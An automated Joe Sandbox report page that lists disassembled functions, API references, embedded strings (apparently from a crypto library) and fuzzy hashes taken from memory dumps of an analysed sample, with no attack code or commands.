Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArraySafe$Destroy$Bound$Element
String ID:
API String ID: 757764206-0
Opcode ID: 1e6f7b7dce5f7784475edf30d577815a120db3ad4df287efa4e6ff796eb938dd
Instruction ID: 1916a1cdc9561ae0e781cd3ff48d11f9185756488d9243e86b5bba5fe1b860ef
Opcode Fuzzy Hash: 1e6f7b7dce5f7784475edf30d577815a120db3ad4df287efa4e6ff796eb938dd
Instruction Fuzzy Hash: EA312C70E016189FDF10DB68CC80FAEB7FAAF89210F60468AE519E7241CB75D9818F50

Function 6D0287EE Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 6D0269C0: SafeArrayGetLBound.OLEAUT32(?,00000001,00000000), ref: 6D026A08
Part of subcall function 6D0269C0: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6D026A15
Part of subcall function 6D0269C0: SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6D026A41

SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEBF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArraySafe$Destroy$Bound$Element
String ID:
API String ID: 757764206-0
Opcode ID: 1c2e2aeb9485c5ef97734c8f92b903dfe03b6da26fbf8476bfd936cbe4f52b12
Instruction ID: 7a7af87eea557cbd9e3bb318d672390ce1f9e9d9d8fef4dd524434f54467e09b
Opcode Fuzzy Hash: 1c2e2aeb9485c5ef97734c8f92b903dfe03b6da26fbf8476bfd936cbe4f52b12
Instruction Fuzzy Hash: 90312A70E016189FEF10DB68CC80FAEB7FAAF95610F60458AE519E7241CB75D9818F50

Function 6D01FD3E Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 6D0269C0: SafeArrayGetLBound.OLEAUT32(?,00000001,00000000), ref: 6D026A08
Part of subcall function 6D0269C0: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6D026A15
Part of subcall function 6D0269C0: SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6D026A41

SafeArrayDestroy.OLEAUT32(?), ref: 6D0223B3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223C3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223D6
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223E9
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223FC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02240F

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArraySafe$Destroy$Bound$Element
String ID:
API String ID: 757764206-0
Opcode ID: 1c2e2aeb9485c5ef97734c8f92b903dfe03b6da26fbf8476bfd936cbe4f52b12
Instruction ID: 82042e11f4e339c90aeae474fe1da60ce2c73d96afc5258ea10fca6f5d67bea5
Opcode Fuzzy Hash: 1c2e2aeb9485c5ef97734c8f92b903dfe03b6da26fbf8476bfd936cbe4f52b12
Instruction Fuzzy Hash: 0B314F70E156189FDB10DFA9CD80BADB7FAAF85300F60458AE559EB241C775DE808F50

Function 6D01FF89 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 6D0269C0: SafeArrayGetLBound.OLEAUT32(?,00000001,00000000), ref: 6D026A08
Part of subcall function 6D0269C0: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6D026A15
Part of subcall function 6D0269C0: SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6D026A41

SafeArrayDestroy.OLEAUT32(?), ref: 6D0223B3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223C3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223D6
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223E9
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223FC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02240F

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArraySafe$Destroy$Bound$Element
String ID:
API String ID: 757764206-0
Opcode ID: 1e6f7b7dce5f7784475edf30d577815a120db3ad4df287efa4e6ff796eb938dd
Instruction ID: 8496f6c7498fd99c2f4716da319b2bcae23f6e1d7cced58a47237b93a9d336fb
Opcode Fuzzy Hash: 1e6f7b7dce5f7784475edf30d577815a120db3ad4df287efa4e6ff796eb938dd
Instruction Fuzzy Hash: 47313E70E156189FDB10CFA9CC80BADB7FAAF89300F60468AE559EB241C775DE808F50

Function 6D0606A0 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 328COMMON

Download Yara Rule

APIs

Part of subcall function 6D004760: __CxxThrowException@8.LIBCMT ref: 6D0047F9

_memmove.LIBCMT ref: 6D060907
_memmove.LIBCMT ref: 6D060936
_memmove.LIBCMT ref: 6D060959
__CxxThrowException@8.LIBCMT ref: 6D060A25

Strings

PSSR_MEM: message recovery disabled, xrefs: 6D0609E3

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: _memmove$Exception@8Throw
String ID: PSSR_MEM: message recovery disabled
API String ID: 2655171816-3051149714
Opcode ID: c2764a0da58f37d78243811c354ab6b28ac9f4e0f9750989aac4b1c75a6f24e7
Instruction ID: b40c5409e8f6b9ef7d40058dc44c1b811e8ef740856b6fcef53b625b3e39c3a3
Opcode Fuzzy Hash: c2764a0da58f37d78243811c354ab6b28ac9f4e0f9750989aac4b1c75a6f24e7
Instruction Fuzzy Hash: 86C149756083819FE715CF29C880B6ABBE6BFC9304F148A5CE589C7385D774E905CBA2

Function 6D067FE0 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 325COMMON

Download Yara Rule

APIs

Part of subcall function 6D004010: std::_Xinvalid_argument.LIBCPMT ref: 6D00402A

__CxxThrowException@8.LIBCMT ref: 6D0680EA

Part of subcall function 6D06AC75: RaiseException.KERNEL32(?,?,6D069C34,4E8A916F,?,?,?,?,6D069C34,4E8A916F,6D099C90,6D0AB974,4E8A916F), ref: 6D06ACB7

Strings

Max, xrefs: 6D0683E3
RandomNumberType, xrefs: 6D0683A9
Min, xrefs: 6D0683C5
invalid bit length, xrefs: 6D068044

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowXinvalid_argumentstd::_
String ID: Max$Min$RandomNumberType$invalid bit length
API String ID: 3718517217-2498579642
Opcode ID: 5b72ec63c837a0ca985210dc5a4054f92dcc58bbf0821b618e054021e312f500
Instruction ID: 5c7975b108640208b23bd9601a84bf3b82eed18ee3b8ece20f00859ba0639a15
Opcode Fuzzy Hash: 5b72ec63c837a0ca985210dc5a4054f92dcc58bbf0821b618e054021e312f500
Instruction Fuzzy Hash: 04C18D7150C7809AF324CB28D850B9FB7E5BFDA304F464A6CE68983391EB749904C7A3

Function 6D06BE8E Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 6D06BEB6

Part of subcall function 6D06AB70: __getptd.LIBCMT ref: 6D06AB7E
Part of subcall function 6D06AB70: __getptd.LIBCMT ref: 6D06AB8C

__getptd.LIBCMT ref: 6D06BEC0

Part of subcall function 6D06EAE6: __getptd_noexit.LIBCMT ref: 6D06EAE9
Part of subcall function 6D06EAE6: __amsg_exit.LIBCMT ref: 6D06EAF6

__getptd.LIBCMT ref: 6D06BECE
__getptd.LIBCMT ref: 6D06BEDC
__getptd.LIBCMT ref: 6D06BEE7
_CallCatchBlock2.LIBCMT ref: 6D06BF0D

Part of subcall function 6D06AC15: __CallSettingFrame@12.LIBCMT ref: 6D06AC61

Part of subcall function 6D06BFB4: __getptd.LIBCMT ref: 6D06BFC3
Part of subcall function 6D06BFB4: __getptd.LIBCMT ref: 6D06BFD1

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: a94c0e98cc74fb1e1aa979842c0074c99e09175d3ab8d82f04d57bfd3ac2b932
Instruction ID: ada52eebf0e5bd3905d9f746b5a5c9944b63b1c3f0d0c63ad9ee25a30f70f8de
Opcode Fuzzy Hash: a94c0e98cc74fb1e1aa979842c0074c99e09175d3ab8d82f04d57bfd3ac2b932
Instruction Fuzzy Hash: A011F6B1C042499FEB00DFA4C944BEEBBB0FF44318F11846AFA14A7251EB789A109F60

Function 05CC0F14 Relevance: 9.0, Strings: 7, Instructions: 201COMMON

Download Yara Rule

Strings

LOOK, xrefs: 05CC1081
HERE, xrefs: 05CC0F6F
LOOK, xrefs: 05CC0F6A
HERE, xrefs: 05CC1086
Gvq, xrefs: 05CC1243
p<^q, xrefs: 05CC1177
p<^q, xrefs: 05CC112C

Memory Dump Source

Source File: 00000000.00000002.1768998212.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: HERE$HERE$LOOK$LOOK$p<^q$p<^q$Gvq
API String ID: 0-792669839
Opcode ID: 4f19855670a99998c84fcd0b2d11c3f2b4ba8bff2c255c45bff46abf27587e5e
Instruction ID: 640a6a1ab47b6c8b59cb805dd1169cf56a046f49c157a53a869d336734347919
Opcode Fuzzy Hash: 4f19855670a99998c84fcd0b2d11c3f2b4ba8bff2c255c45bff46abf27587e5e
Instruction Fuzzy Hash: C5A18274E002298FDB64DF69C994BD9BBB1BB48310F1485E9D50DAB361DB349E81CF50

Function 6D0370E0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 187COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 6D037267

Strings

: IV length , xrefs: 6D03719E, 6D0372D7
exceeds the maximum of , xrefs: 6D037309
is less than the minimum of , xrefs: 6D0371D0

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Exception@8Throw
String ID: exceeds the maximum of $ is less than the minimum of $: IV length
API String ID: 2005118841-1273958906
Opcode ID: 5e2cc546bc49d880b725e533f6c310a0bdc387ea0a0b734a0e3d764c5c595c85
Instruction ID: 26e2647730f51db01cec584ea791804f1adc6e242221742644e0fcbc8b672903
Opcode Fuzzy Hash: 5e2cc546bc49d880b725e533f6c310a0bdc387ea0a0b734a0e3d764c5c595c85
Instruction Fuzzy Hash: 0261607110C381AFE321DB68C884FDFB7E9AF99304F054A1DE68D87242DB75990487A7

Function 6D05AE90 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

type_info::operator!=.LIBCMT ref: 6D05AF27
_strncmp.LIBCMT ref: 6D05AFA6

Strings

ValueNames, xrefs: 6D05AEB7
ThisPointer:, xrefs: 6D05AF4B, 6D05AFA0

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: _strncmptype_info::operator!=
String ID: ThisPointer:$ValueNames
API String ID: 1333309372-2375088429
Opcode ID: 011b429633d453447b6a33fd4943ec7124e6e173af0141e5e3aeeaf509a6aa5d
Instruction ID: 61c90f2f29fc2f3f9ed6205eb928f190cc813f94873272c0011d53aa5e9fc53a
Opcode Fuzzy Hash: 011b429633d453447b6a33fd4943ec7124e6e173af0141e5e3aeeaf509a6aa5d
Instruction Fuzzy Hash: F051D3752083415BE314CFA5C990F37BBEAAF85348F144A1DF9DA8B292D722F8198761

Function 6D03A360 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

type_info::operator!=.LIBCMT ref: 6D03A3F7
_strncmp.LIBCMT ref: 6D03A476

Strings

ValueNames, xrefs: 6D03A387
ThisPointer:, xrefs: 6D03A41B, 6D03A470

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: _strncmptype_info::operator!=
String ID: ThisPointer:$ValueNames
API String ID: 1333309372-2375088429
Opcode ID: 7478201765bfd9223793589a90083a7ccc2220265346616d1fe1523b870be1d5
Instruction ID: 7b224b46fbef0d4c801bf90742cee139dc08dca51ed91ebe4092c6dc567dedd1
Opcode Fuzzy Hash: 7478201765bfd9223793589a90083a7ccc2220265346616d1fe1523b870be1d5
Instruction Fuzzy Hash: 1851E6312083525BF714CFA4D894F77B7EAAFC6348F164A5CF5DA8B282D762E8088751

Function 6D05B9B0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

type_info::operator!=.LIBCMT ref: 6D05BA47
_strncmp.LIBCMT ref: 6D05BAC6

Strings

ValueNames, xrefs: 6D05B9D7
ThisPointer:, xrefs: 6D05BA6B, 6D05BAC0

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: _strncmptype_info::operator!=
String ID: ThisPointer:$ValueNames
API String ID: 1333309372-2375088429
Opcode ID: 21fcf0f1fc4a00a463e28c6acee3ca59d26cfe8080c02f382c25cead284621ae
Instruction ID: b294db024597135f54029ac2fa0e508e322db550a57a5327976397ed9e0d4a83
Opcode Fuzzy Hash: 21fcf0f1fc4a00a463e28c6acee3ca59d26cfe8080c02f382c25cead284621ae
Instruction Fuzzy Hash: 8B51F4712083455BF710CF64D990B77BBEAAF86318F054A1CF9DA8B282D7A2F819C751

Function 6D041B70 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 6D041C1A

Part of subcall function 6D06AC75: RaiseException.KERNEL32(?,?,6D069C34,4E8A916F,?,?,?,?,6D069C34,4E8A916F,6D099C90,6D0AB974,4E8A916F), ref: 6D06ACB7

__CxxThrowException@8.LIBCMT ref: 6D041CDE
__CxxThrowException@8.LIBCMT ref: 6D041D3E

Strings

TF_SignerBase: this algorithm does not support messsage recovery or the key is too short, xrefs: 6D041C67
TF_SignerBase: the recoverable message part is too long for the given key and algorithm, xrefs: 6D041CF0

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: TF_SignerBase: the recoverable message part is too long for the given key and algorithm$TF_SignerBase: this algorithm does not support messsage recovery or the key is too short
API String ID: 3476068407-3371871069
Opcode ID: e56582df0ff1a4b09d44adfac002f0e5b8e83867343014115be5c7662308734d
Instruction ID: 2903d2b625cc91b5cd7078eb305d172e248172613f6463e5491913d965691566
Opcode Fuzzy Hash: e56582df0ff1a4b09d44adfac002f0e5b8e83867343014115be5c7662308734d
Instruction Fuzzy Hash: AD513D75208741AFE324DF58C880F9AB7E9BFCC314F10891DE68987391DB74E9058BA2

Function 6D004010 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6D00402A

Part of subcall function 6D069125: std::exception::exception.LIBCMT ref: 6D06913A
Part of subcall function 6D069125: __CxxThrowException@8.LIBCMT ref: 6D06914F
Part of subcall function 6D069125: std::exception::exception.LIBCMT ref: 6D069160

std::_Xinvalid_argument.LIBCPMT ref: 6D004067

Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D0690ED
Part of subcall function 6D0690D8: __CxxThrowException@8.LIBCMT ref: 6D069102
Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D069113

_memmove.LIBCMT ref: 6D0040C8

Strings

string too long, xrefs: 6D004062
invalid string position, xrefs: 6D004025

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
